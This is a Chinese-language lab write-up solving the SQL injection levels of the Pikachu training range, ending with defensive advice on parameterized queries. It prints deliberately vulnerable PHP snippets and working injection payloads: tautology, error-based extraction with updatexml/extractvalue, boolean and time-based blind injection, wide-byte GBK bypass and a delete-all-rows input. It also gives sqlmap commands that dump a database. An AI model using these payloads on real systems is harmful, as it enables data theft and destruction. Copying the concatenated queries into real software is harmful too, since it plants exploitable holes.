皮卡丘靶场解题记录-SQL注入

数字型注入

1、漏洞原理总结:

sql语句给数据库下达指令,用户的恶意输入破坏原语句,被当成正常语句执行。

2、我的测试过程:

抓包,修改传参1为1 or 1=1

与原本的查询语句拼接起来即为:

1
select username,email from member where id=1 or 1=1

因为 1=1 恒真,where id=1 or 1=1 相当于 where 恒真,全表返回

image-20260824160223835

直接出结果

image-20260824160505220

3、核心漏洞代码分析:

对输入没做处理,直接被拼写进查询语句里面

image-20260824160016910

4、实战延伸:

image-20260824160036282

字符型注入

1、漏洞原理总结:

数字型没引号直接拼;字符型有引号,要先闭合引号、再注入、最后用#注释掉尾部

2、我的测试过程:

image-20260824161509487

出结果

image-20260824161359923

3、核心漏洞代码分析:

同样没做变量处理,但是这里变量变成了字符,需要考虑闭合

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
if(isset($_GET['submit']) && $_GET['name']!=null){
//这里没有做任何处理,直接拼到select里面去了
$name=$_GET['name'];
//这里的变量是字符型,需要考虑闭合
$query="select id,email from member where username='$name'";
$result=execute($link, $query);
if(mysqli_num_rows($result)>=1){
while($data=mysqli_fetch_assoc($result)){
$id=$data['id'];
$email=$data['email'];
$html.="<p class='notice'>your uid:{$id} <br />your email is: {$email}</p>";
}
}else{

$html.="<p class='notice'>您输入的username不存在,请重新输入!</p>";
}
}

原本的sql语句为:

1
select id,email from member where username='你的输入'

输入:

1
' or 1=1 #

拼接后的sql语句为:

1
select id,email from member where username='' or 1=1 #'

‘用于闭合引号

or 1=1恒真

最后的#用于将末尾的#注释掉

4、实战延伸:

可以输入框直接敲’ or 1=1 #

也可以用bp把参数改成name=’ or 1=1 #

注意:# 在URL里要写成 %23,Burp里直接改原始请求即可

其他等价写法:

1
2
' or '1'='1
' or 1=1 --

注意:

1
-- 也是注释符,但末尾要带个空格

搜索型注入

1、漏洞原理总结:

搜索型:username like '%___%',输入被 '%%' 两层夹着(引号 + 通配符)。要注入,就得把 '% 这一层也一并合上。

2、我的测试过程:

注入

1
' or 1=1#
image-20260824163617339

3、核心漏洞代码分析:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
if(isset($_GET['submit']) && $_GET['name']!=null){

//这里没有做任何处理,直接拼到select里面去了
$name=$_GET['name'];

//这里的变量是模糊匹配,需要考虑闭合
$query="select username,id,email from member where username like '%$name%'";
$result=execute($link, $query);
if(mysqli_num_rows($result)>=1){
//彩蛋:这里还有个xss
$html2.="<p class='notice'>用户名中含有{$_GET['name']}的结果如下:<br />";
while($data=mysqli_fetch_assoc($result)){
$uname=$data['username'];
$id=$data['id'];
$email=$data['email'];
$html1.="<p class='notice'>username:{$uname}<br />uid:{$id} <br />email is: {$email}</p>";
}
}else{

$html1.="<p class='notice'>0o。..没有搜索到你输入的信息!</p>";
}
}

这里是搜索框

需要闭合的代码变成了

1
select username,id,email from member where username like '%你的输入%'

本关可用的payload

1
%' or 1=1 #

但是我实测的时候想到可以直接取巧,用%一个字符也可以直接搜出全部结果

4、实战延伸:

XX型注入

1、漏洞原理总结:

2、我的测试过程:

传入

1
') or 1=1 #
image-20260827000402628

3、核心漏洞代码分析:

原理和前面一样,区别只在于查询语句的不同

image-20260827000558994

查询语句:

1
select id,email from member where username=('你输入的内容')

拼接后的结果:

1
select id,email from member where username=('') or 1=1 #')

同样是闭合前面的开头,中间恒真注入,注释掉末尾语句

SQL 注入的万能公式 = 制造闭合 + 注入逻辑 + 注释尾巴。xx 型就是多了个括号,闭合用 ')

4、实战延伸:

“insert/update”注入

1、漏洞原理总结:

  • SELECT 注入 = 你”“东西时注入,能直接看到结果
  • INSERT/UPDATE 注入 = 你”存/改“东西时注入,数据库不给你回显,那怎么偷数据?——让它”报错”,错误信息里会不小心把数据吐出来(比如数据库名)。

就像你去银行”存钱”(insert),柜员不会把你账户余额念给你听;但如果你填单子时故意写个会让系统崩溃的东西,系统报错的弹窗里可能把内部信息泄露出来。

2、我的测试过程:

3、核心漏洞代码分析:

注册页的注入:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
if(isset($_POST['submit'])){
if($_POST['username']!=null &&$_POST['password']!=null){
// $getdata=escape($link, $_POST);//转义

//没转义,导致注入漏洞,操作类型为insert
$getdata=$_POST;
$query="insert into member(username,pw,sex,phonenum,email,address) values('{$getdata['username']}',md5('{$getdata['password']}'),'{$getdata['sex']}','{$getdata['phonenum']}','{$getdata['email']}','{$getdata['add']}')";
$result=execute($link, $query);
if(mysqli_affected_rows($link)==1){
$html.="<p>注册成功,请返回<a href='sqli_login.php'>登录</a></p>";
}else {
$html.="<p>注册失败,请检查下数据库是否还活着</p>";

}
}else{
$html.="<p>必填项不能为空哦</p>";
}
}

sql语句为:

1
insert into member(username,pw,sex,phonenum,email,address) values('{$getdata['username']}',md5('{$getdata['password']}'),'{$getdata['sex']}','{$getdata['phonenum']}','{$getdata['email']}','{$getdata['add']}')

这里需要用到报错来偷取信息

同样的思路,闭合前面,注入语句,闭合尾部

需要注意的一点是,因为此处使用的是INSERT语句,这个地方的尾部,不能用之前的#给注释掉,value后续的其他语法句子需要保留,否则整个语句会因为语法错误而无法正常执行。

所以需要用and ‘1之类的语句把后面的引号闭合了。

这里连接前后的词都要用and

涉及到一个基础的语法,就是,and要左右全真才为真,可以保证每段语句的执行

但是or,任意一个为真即为真,当左边为真时语句短路,右侧不会被计算,会导致注入语句不执行,所以报错注入用 and 搭配一个恒真的 1,逼 MySQL 去算 updatexml

报错注入的核心函数:

updatexml(目标xml, xpath路径, 新值)

作用:在”目标 XML”里,找到 xpath路径 指定的那个节点,把它替换成”新值”,然后返回修改后的 XML。

MySQL 执行 updatexml 时,会去解析第 2 个参数(XPath)。如果这个 XPath 不合法,MySQL 就报错,而且报错信息里会把传的那串非法 XPath 原样打印出来

这个非法的xpath替换成一种函数或语句,就可以在报错里得到我们想知道的信息,相当于一种另类的查询方法。

还有一个更简单的替代函数:

1
extractvalue(1, concat(0x7e, database()))

补充:这里的concat(0x7e, database())是一个拼接函数,将参数1和2拼接起来,因为如果原本的库名本身就是合法的XPath就不会报错反馈,所以加上一个0x7e,即~的16进制写法,保证它一定非法,一定报错。

此处可以用简单的语句直接获取数据库名等信息:

1
1' and extractvalue(1, concat(0x7e, database())) and '1

我另外构造了一个稍微复杂的语句来做练习,查询所有表名

1
1' and extractvalue(1, concat(0x7e, (select group_concat(table_name) from information_schema.tables where table_schema=database()))) and '1
image-20260829180241783

改资料页注入:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
if(isset($_POST['submit'])){
if($_POST['sex']!=null && $_POST['phonenum']!=null && $_POST['add']!=null && $_POST['email']!=null){
// $getdata=escape($link, $_POST);

//未转义,形成注入,sql操作类型为update
$getdata=$_POST;
$query="update member set sex='{$getdata['sex']}',phonenum='{$getdata['phonenum']}',address='{$getdata['add']}',email='{$getdata['email']}' where username='{$_SESSION['sqli']['username']}'";
$result=execute($link, $query);
if(mysqli_affected_rows($link)==1 || mysqli_affected_rows($link)==0){
header("location:sqli_mem.php");
}else {
$html1.='修改失败,请重试';

}
}
}

sql语句为:

1
update member set sex='{$getdata['sex']}',phonenum='{$getdata['phonenum']}',address='{$getdata['add']}',email='{$getdata['email']}' where username='{$_SESSION['sqli']['username']}'

和前面一种稍有区别,这里使用的update语句,没有列数必须匹配的问题,可以直接#注释末尾

1
1' and updatexml(1,concat(0x7e,database()),1) #

拼接起来依旧是完整语句:

1
update member set sex='1' and updatexml(1,concat(0x7e,database()),1) #

4、实战延伸:

“delete”注入

1、漏洞原理总结:

前面是”查/存/改”时注入,这关是”“时注入。

删除操作就像你给数据库下个”删掉 xx”的命令,删完就删完了,它不会把结果念给你听。所以你想偷数据(比如库名),就得让它”报错”,靠错误信息把数据喊出来。

2、我的测试过程:

3、核心漏洞代码分析:

1
2
3
4
5
6
7
8
9
10
11
12
// if(array_key_exists('id', $_GET) && is_numeric($_GET['id'])){
//没对传进来的id进行处理,导致DEL注入
if(array_key_exists('id', $_GET)){
$query="delete from message where id={$_GET['id']}";
$result=execute($link, $query);
if(mysqli_affected_rows($link)==1){
header("location:sqli_del.php");
}else{
$html.="<p style='color: red'>删除失败,检查下数据库是不是挂了</p>";
}
}

这里可以进行报错注入也可以直接通过这个漏洞删除全部留言

get可以直接改url:

1
http://101.43.30.86/pikachu/vul/sqli/sqli_del.php?id=1 and updatexml(1,concat(0x7e,database()),1)

在bp改包有个需要注意的小点:

HTTP 请求第一行是有固定格式的

1
2
3
GET /路径?id=值 HTTP/1.1
↑ ↑ ↑
方法 路径 版本(三个"块",靠空格分隔)

bp改id参数的时候需要把空格换成%20

括号 ()、逗号 , 一般不用编(在查询串里是合法的,大多服务器接受,但个别严格 WAF/框架可能敏感),真正致命的就是空格。

image-20260830001042594

也可以用恒真语句给把留言全删了

1
sqli_del.php?id=1 or 1=1

4、实战延伸:

image-20260830005855763

“http header“注入

1、漏洞原理总结:

浏览器每次请求都会”自报家门“——User-Agent 头告诉服务器”我是 Chrome / Firefox”。

后端图省事,把这份”自报家门”原样存进数据库、没检查。于是把自己的 User-Agent 头改成一段 SQL 注入代码,它就傻乎乎地存进去、还执行了。

这个漏洞的本质也是信任了客户端可控的请求头。还是那句话,用户输入或可控的一切都不可信。

2、我的测试过程:

忘截图了这里,就是直接抓包改请求头为注入语句,比如

1
User-Agent: 1' and updatexml(1,concat(0x7e,database()),1) and '1

3、核心漏洞代码分析:

1
2
3
4
5
6
7
8
9
//直接获取前端过来的头信息,没人任何处理,留下安全隐患
$remoteipadd=$_SERVER['REMOTE_ADDR'];
$useragent=$_SERVER['HTTP_USER_AGENT'];
$httpaccept=$_SERVER['HTTP_ACCEPT'];
$remoteport=$_SERVER['REMOTE_PORT'];

//这里把http的头信息存到数据库里面去了,但是存进去之前没有进行转义,导致SQL注入漏洞
$query="insert httpinfo(userid,ipaddress,useragent,httpaccept,remoteport) values('$is_login_id','$remoteipadd','$useragent','$httpaccept','$remoteport')";
$result=execute($link, $query);

类似前文的原理,此处略

4、实战延伸:

image-20260830010243131

http header 注入 = 注入点不在表单,而在请求头(User-Agent/Accept/Referer 等);后端把 $_SERVER[‘HTTP_USER_AGENT’] 直接拼进 INSERT 没转义,用 Burp 改 User-Agent 头为 1’ and updatexml(1,concat(0x7e,database()),1) and ‘1 就能报错泄露库名。

实战常见的header注入点:

image-20260830011115071

黑盒的时候找记录这些的功能:登录、注册、留言、评论、统计、后台日志,然后改请求头。看是否报错(报错注入)或页面响应变化(盲注)

实战里最该盯的是 X-Forwarded-For 这个头:

  • 很多应用想拿”用户真实 IP”,会优先读 X-Forwarded-For(而不是 REMOTE_ADDR)。
  • X-Forwarded-For客户端随便填的(Burp 一改就行)。
  • 应用拿到这个 IP 后,常常存数据库/日志,且经常忘了转义 → 注入。

所以实战测 header 注入,先试 X-Forwarded-For,再试 User-Agent、Referer。

盲注(base on boolian)

1、漏洞原理总结:

这一关是我们常说的布尔盲注。不会直接得到信息,靠反馈的真假判断。

2、我的测试过程:

image-20260830122657296

这一步不太好截图,因为只根据真假判断。

分两步走,第一步判断布尔盲注是否存在,第二步,注入

比如,这里我们已知一个用户名admin

那么可以用以下payload判断布尔盲注的存在(漏洞代码见下文):

1
2
admin' and 1=1 #   → 显示信息(真)
admin' and 1=2 # → 显示不存在(假)

这一步不是为了查用户是否存在,而是为了验证and后半部分语句能否控制页面真假。前半部分为真,后半部分的真假就决定了整个页面的真假。

下一步就是注入,把后半部分语句修改我们想要猜测的内容。相当于一个游戏,一方不断提问,另一方只能用是/否来回答问题。

举个例子:假设我想知道数据库名的第一个字符

我问的问题(payload) 页面反应 我推断出
... ascii(substr(database(),1,1))>100 # 显示信息(真) 首字符 ASCII > 100
... >110 # 显示信息(真) 首字符 ASCII > 110
... >115 # 显示不存在(假) 首字符 ASCII ≤ 115
... =112 # 显示信息(真) 首字符 ASCII = 112 = ‘p’

逐个尝试猜出。

像猜数字:对方不告诉你答案,你问”大于 50 吗?””大于 75 吗?”,它只回”是/否”,用二分法逐步逼近。

3、核心漏洞代码分析:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
if(isset($_GET['submit']) && $_GET['name']!=null){
$name=$_GET['name'];//这里没有做任何处理,直接拼到select里面去了
$query="select id,email from member where username='$name'";//这里的变量是字符型,需要考虑闭合
//mysqi_query不打印错误描述,即使存在注入,也不好判断
$result=mysqli_query($link, $query);//
// $result=execute($link, $query);
if($result && mysqli_num_rows($result)==1){
while($data=mysqli_fetch_assoc($result)){
$id=$data['id'];
$email=$data['email'];
$html.="<p class='notice'>your uid:{$id} <br />your email is: {$email}</p>";
}
}else{

$html.="<p class='notice'>您输入的username不存在,请重新输入!</p>";
}
}

4、实战延伸:

image-20260830121748869

盲注(base ontime)

1、漏洞原理总结:

  • 布尔盲注:数据库会”点头/摇头”(页面真假)。
  • 时间盲注:数据库连点头摇头都不给你,但你每问一个问题,如果答案是”是”,它就卡顿 5 秒sleep)才回你;答案是”否”就秒回。

像用”测谎仪”:对方嘴上不说话,但反应时间暴露了答案——你想得越久,越说明我猜中了。

2、我的测试过程:

image-20260830123409044

这里也不太好截图,但原理和布尔盲注类似。

分两步,第一步判断注入是否存在,第二步,注入。

判断这一步是相似的原理,只不过把and之后的部分换成了函数。

1
admin' and sleep(5) #

如果存在就让它休息5秒。结果因and之后的语句改变,说明存在盲注。

注入这一步就是用时间来猜数据了。用到以下两个函数。

函数 作用
sleep(n) 让 MySQL 暂停 n 秒
if(条件, A, B) 条件真执行 A,假执行 B
1
admin' and if(ascii(substr(database(),1,1))>100, sleep(5), 0) #

猜对了睡5秒,猜错了不睡。

3、核心漏洞代码分析:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
if(isset($_GET['submit']) && $_GET['name']!=null){
$name=$_GET['name'];//这里没有做任何处理,直接拼到select里面去了
$query="select id,email from member where username='$name'";//这里的变量是字符型,需要考虑闭合
$result=mysqli_query($link, $query);//mysqi_query不打印错误描述
// $result=execute($link, $query);
// $html.="<p class='notice'>i don't care who you are!</p>";
if($result && mysqli_num_rows($result)==1){
while($data=mysqli_fetch_assoc($result)){
$id=$data['id'];
$email=$data['email'];
//这里不管输入啥,返回的都是一样的信息,所以更加不好判断
$html.="<p class='notice'>i don't care who you are!</p>";
}
}else{

$html.="<p class='notice'>i don't care who you are!</p>";
}
}

4、实战延伸:

image-20260830124055382

怎么观察延迟:

方式 操作
浏览器 F12 打开开发者工具 → Network,看请求的耗时(5 秒 = 真)
Burp Repeater 看右下角响应时间
sqlmap 全自动跑(时间盲注太慢,实战必用工具)

宽字节注入

1、漏洞原理总结:

mysqli_real_escape_string() 的本职工作是:把 '"\、NULL 等危险字符前面加反斜杠转义,用来防 SQL 注入。而宽字节注入,正是钻了 **mysqli_real_escape_string + GBK 编码** 的空子——它加的那个反斜杠 \(0x5C)会被 %df 前缀”吞”成一个汉字,转义就失效了。

2、我的测试过程:

用到的payload:

1
%df' or 1=1 #

GBK 是双字节编码(一个汉字占 2 字节),关键规则:

某些字节(0x81~0xFE)后面紧跟 \(0x5C)时,会被当成一个完整的 GBK 汉字

详细过程如下:

1
2
3
4
5
6
7
输入:   %df '          (字节:0xDF 0x27)
↓ escape 转义(' → \')
转义后: %df \ ' (字节:0xDF 0x5C 0x27)
↓ MySQL 用 GBK 解析
GBK解析: [運] ' (0xDF 0x5C 组成一个汉字,把 \ 吞了!)

结果: ' 裸奔出来了 → 引号成功闭合

简单来说就是,利用GBK的编码规则把经过处理函数转义而多出来的\给吞掉。

这里有一个小坑,注意:%df 必须用 Burp 发送原始字节 0xDF;直接在表单里敲 %df 会被浏览器当成普通文本(变成 %25df),就不对了。

image-20260830204826186

成功拿到全部信息

image-20260830204854932

3、核心漏洞代码分析:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
if(isset($_POST['submit']) && $_POST['name']!=null){

$name = escape($link,$_POST['name']);
//这里的escape函数前面用到过,去查看函数详情会发现里面使用了mysqli_real_escape_string()

$query="select id,email from member where username='$name'";//这里的变量是字符型,需要考虑闭合
//设置mysql客户端来源编码是gbk,这个设置导致出现宽字节注入问题
$set = "set character_set_client=gbk";
execute($link,$set);

//mysqi_query不打印错误描述
$result=mysqli_query($link, $query);
if(mysqli_num_rows($result) >= 1){
while ($data=mysqli_fetch_assoc($result)){
$id=$data['id'];
$email=$data['email'];
$html.="<p class='notice'>your uid:{$id} <br />your email is: {$email}</p>";
}
}else{
$html.="<p class='notice'>您输入的username不存在,请重新输入!</p>";
}


}

4、实战延伸:

image-20260830205154837

章节答疑:

1、各类sql注入怎么书写防御代码?

有一个很关键的点,防御不要按”数字型/字符型/搜索型/xx型”去分别写,因为注入类型只是漏洞表现形式,真正的病根都是同一个——把用户输入拼进了 SQL。所以正确的防御是统一的。

正确做法是参数化查询(预处理语句)

1
2
3
4
5
6
7
8
9
10
11
// 错误:拼接(就是各种注入的病根)
$query = "select * from member where username='$name'";

// 正确:PDO 参数化查询
$stmt = $pdo->prepare("select * from member where username=:name");
$stmt->execute([':name' => $name]);

// 或 mysqli 参数化查询
$stmt = $link->prepare("select * from member where username=?");
$stmt->bind_param("s", $name);
$stmt->execute();

SQL 的结构和数据彻底分开,传进来的 $name 永远是数据,不可能被当成代码执行——数字型、字符型、搜索型、insert/update/delete、盲注、宽字节,全部免疫

并且,参数化查询是唯一彻底的防御,其余都是缓解或辅助。

其他手段:

手段 作用 局限
intval($id) 强转 数字型专用,非数字变 0 只防数字型
mysqli_real_escape_string 转义引号 宽字节注入下会失效,不如参数化彻底
关闭报错显示 隐藏报错 只掩盖不防御,盲注照样打
数据库最小权限 限制危害 辅助,不是根治

2、搜索型的xss彩蛋

3、各类不同注入其实就是在开头闭合,中间恒真,尾部注释掉

4、实际过程中怎么判断闭合符号?

A、看报错,缺什么补什么

B、没有报错时,先判断数字型还是字符型

image-20260828010341675

字符型按照顺序尝试:

1
2
3
4
5
' or 1=1 #        → 闭合单引号
') or 1=1 # → 闭合单引号 + 括号
')) or 1=1 # → 闭合单引号 + 双括号
" or 1=1 # → 闭合双引号
") or 1=1 # → 闭合双引号 + 括号

找到候选,用真假结果验证:

1
2
真:' and '1'='1    (闭合 ' 时)
假:' and '1'='2
  • 真 → 有结果,假 → 没结果 = 闭合正确,注入成立
  • 两个都一样 = 闭合还不对,继续换字典。

5、在黑盒的情况下怎么知道背后的语句是什么样的?有的白盒能写的语句,黑盒未必写得出来?比如前面的复杂语句

黑盒看不到源代码,但能反推。黑盒靠【塞东西 + 看反应】反推结构,跟文件上传的探针法、越权的双账号法是一个思路。

方法 怎么做 能推出什么
看报错信息 ' 触发报错,读 near '...' SQL 片段、闭合结构
闭合字符试探 '')'))" 逐个试,看报错/响应 变量被什么包着(引号/括号)
真假/延时判断 and 1=1 vs and 1=2,或 sleep() 语法对不对、有没有注入
union 探测 order by N 猜列数、union select 试列类型 列数、可回显的列

白盒黑盒其实差的不多,只是黑盒需要先想办法探测结构。

维度 白盒 黑盒
能塞的 SQL 任意 任意(一样)
差别 知道表名/列名/列数,直接写 先探测结构(猜列数、查 information_schema)
union 注入 直接写列数 多一步 order by 猜列数,但能做到
报错/盲注 直接写 完全一样(不依赖已知结构)

注入的本质是往 SQL 里塞任意代码,这个能力黑盒白盒一模一样。白盒只是省了探测时间,黑盒多花点力气探测,最终都能写出语句。

6、sqlmap的使用:

参数 作用
--dbs 列数据库
-D 库名 --tables 列该库的表
-D 库名 -T 表名 --columns 列该表的字段
-D 库名 -T 表名 --dump 拖该表数据
--current-user 当前数据库用户
--technique=E 只试报错注入(最快,卡了就加这个)
--flush-session 清掉上次缓存重跑
1
python "D:\tool\sqlmap\sqlmap.py" -u "http://101.43.30.86/pikachu/vul/sqli/sqli_str.php?name=kobe&submit=1" -H "Authorization: Basic xxxx" --batch --dbs

这里我给靶场加了验证的所以要多加一个请求头。

跑出数据库名

image-20260831155624253

1
python "D:\tool\sqlmap\sqlmap.py" -u "http://101.43.30.86/pikachu/vul/sqli/sqli_str.php?name=kobe&submit=1" -H "Authorization: Basic xxxx" --batch -D pikachu --tables

跑出数据库里的表名

image-20260831155713832

1
python "D:\tool\sqlmap\sqlmap.py" -u "http://101.43.30.86/pikachu/vul/sqli/sqli_str.php?name=kobe&submit=1" -H "Authorization: Basic xxxx" --batch -D pikachu -T users --columns

跑出表名对应的字段名

image-20260831155821943

拉出全表数据

1
python "D:\tool\sqlmap\sqlmap.py" -u "http://101.43.30.86/pikachu/vul/sqli/sqli_str.php?name=kobe&submit=1" -H "Authorization: Basic xxxx" --batch -D pikachu -T users --dump

image-20260831155907144